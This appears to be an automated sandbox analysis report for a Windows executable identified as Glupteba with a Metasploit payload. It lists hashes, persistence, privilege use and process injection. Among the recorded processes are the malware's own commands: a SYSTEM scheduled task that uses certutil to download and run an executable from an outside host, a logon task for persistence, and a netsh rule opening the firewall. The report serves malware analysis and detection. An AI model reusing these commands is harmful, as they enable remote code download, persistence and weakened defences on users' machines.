Analysis
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max time kernel
104s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
25-06-2022 19:08
Static task
static1
Behavioral task
behavioral1
Sample
38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe
Resource
win10v2004-20220414-en
General
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Target
38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe
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Size
3.8MB
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MD5
897fd98addcc823ce032df58331c8641
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SHA1
1f00d0ba9a494f9647a643667e8a6b437747b08b
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SHA256
38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81
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SHA512
893d962f52a7c61b2acbe6ebb24060b82aefc18deafc8de3e118f37a6b1c94c31333913a572cf33a6cc40ddca2aaba3ea727dd40d69a927600a392faf88e2613
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba Payload 7 IoCs
Processes:
resource yara_rule behavioral2/memory/3768-131-0x00000000016A0000-0x0000000001EA4000-memory.dmp family_glupteba behavioral2/memory/3768-132-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral2/memory/3768-135-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral2/memory/3736-137-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral2/memory/3736-143-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral2/memory/4552-146-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral2/memory/4552-152-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 2488 created 3768 2488 svchost.exe 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe PID 2488 created 4552 2488 svchost.exe csrss.exe PID 2488 created 4552 2488 svchost.exe csrss.exe PID 2488 created 4552 2488 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 4552 csrss.exe 2300 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ProudWaterfall = "\"C:\\Windows\\rss\\csrss.exe\"" 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 2180 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exedescription ioc process File created C:\Windows\rss\csrss.exe 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe File opened for modification C:\Windows\rss 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe -
Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 4496 3768 WerFault.exe 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe 4860 3736 WerFault.exe 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.execsrss.exepid process 3768 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe 3768 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe 3736 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe 3736 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe 4552 csrss.exe 4552 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 3768 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe Token: SeImpersonatePrivilege 3768 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe Token: SeTcbPrivilege 2488 svchost.exe Token: SeTcbPrivilege 2488 svchost.exe Token: SeBackupPrivilege 2488 svchost.exe Token: SeRestorePrivilege 2488 svchost.exe Token: SeBackupPrivilege 2488 svchost.exe Token: SeRestorePrivilege 2488 svchost.exe Token: SeBackupPrivilege 2488 svchost.exe Token: SeRestorePrivilege 2488 svchost.exe Token: SeBackupPrivilege 2488 svchost.exe Token: SeRestorePrivilege 2488 svchost.exe Token: SeSystemEnvironmentPrivilege 4552 csrss.exe Token: SeBackupPrivilege 2488 svchost.exe Token: SeRestorePrivilege 2488 svchost.exe Token: SeBackupPrivilege 2488 svchost.exe Token: SeRestorePrivilege 2488 svchost.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
svchost.exe38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.execmd.execsrss.exedescription pid process target process PID 2488 wrote to memory of 3736 2488 svchost.exe 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe PID 2488 wrote to memory of 3736 2488 svchost.exe 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe PID 2488 wrote to memory of 3736 2488 svchost.exe 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe PID 3736 wrote to memory of 4804 3736 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe cmd.exe PID 3736 wrote to memory of 4804 3736 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe cmd.exe PID 4804 wrote to memory of 3680 4804 cmd.exe netsh.exe PID 4804 wrote to memory of 3680 4804 cmd.exe netsh.exe PID 3736 wrote to memory of 4552 3736 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe csrss.exe PID 3736 wrote to memory of 4552 3736 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe csrss.exe PID 3736 wrote to memory of 4552 3736 38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe csrss.exe PID 2488 wrote to memory of 1676 2488 svchost.exe schtasks.exe PID 2488 wrote to memory of 1676 2488 svchost.exe schtasks.exe PID 2488 wrote to memory of 372 2488 svchost.exe schtasks.exe PID 2488 wrote to memory of 372 2488 svchost.exe schtasks.exe PID 2488 wrote to memory of 2300 2488 svchost.exe patch.exe PID 2488 wrote to memory of 2300 2488 svchost.exe patch.exe PID 4552 wrote to memory of 2180 4552 csrss.exe bcdedit.exe PID 4552 wrote to memory of 2180 4552 csrss.exe bcdedit.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe"C:\Users\Admin\AppData\Local\Temp\38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe"C:\Users\Admin\AppData\Local\Temp\38ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3736 -s 8523⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3768 -s 8762⤵
- Program crash
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3768 -ip 37681⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3736 -ip 37361⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD5897fd98addcc823ce032df58331c8641
SHA11f00d0ba9a494f9647a643667e8a6b437747b08b
SHA25638ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81
SHA512893d962f52a7c61b2acbe6ebb24060b82aefc18deafc8de3e118f37a6b1c94c31333913a572cf33a6cc40ddca2aaba3ea727dd40d69a927600a392faf88e2613
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD5897fd98addcc823ce032df58331c8641
SHA11f00d0ba9a494f9647a643667e8a6b437747b08b
SHA25638ba4d9f68e1eaf722e4829d6cc6e309f48e06b19149b04126fd96ccb834cb81
SHA512893d962f52a7c61b2acbe6ebb24060b82aefc18deafc8de3e118f37a6b1c94c31333913a572cf33a6cc40ddca2aaba3ea727dd40d69a927600a392faf88e2613
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memory/372-148-0x0000000000000000-mapping.dmp
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memory/1676-147-0x0000000000000000-mapping.dmp
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memory/2180-151-0x0000000000000000-mapping.dmp
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memory/2300-149-0x0000000000000000-mapping.dmp
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memory/3680-139-0x0000000000000000-mapping.dmp
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memory/3736-136-0x0000000001106000-0x00000000014AE000-memory.dmpFilesize
3.7MB
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memory/3736-137-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/3736-133-0x0000000000000000-mapping.dmp
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memory/3736-143-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/3736-144-0x0000000001106000-0x00000000014AE000-memory.dmpFilesize
3.7MB
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memory/3768-135-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/3768-130-0x00000000012F1000-0x0000000001699000-memory.dmpFilesize
3.7MB
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memory/3768-134-0x00000000012F1000-0x0000000001699000-memory.dmpFilesize
3.7MB
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memory/3768-132-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/3768-131-0x00000000016A0000-0x0000000001EA4000-memory.dmpFilesize
8.0MB
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memory/4552-140-0x0000000000000000-mapping.dmp
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memory/4552-146-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/4552-145-0x0000000001600000-0x00000000019A8000-memory.dmpFilesize
3.7MB
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memory/4552-152-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/4804-138-0x0000000000000000-mapping.dmp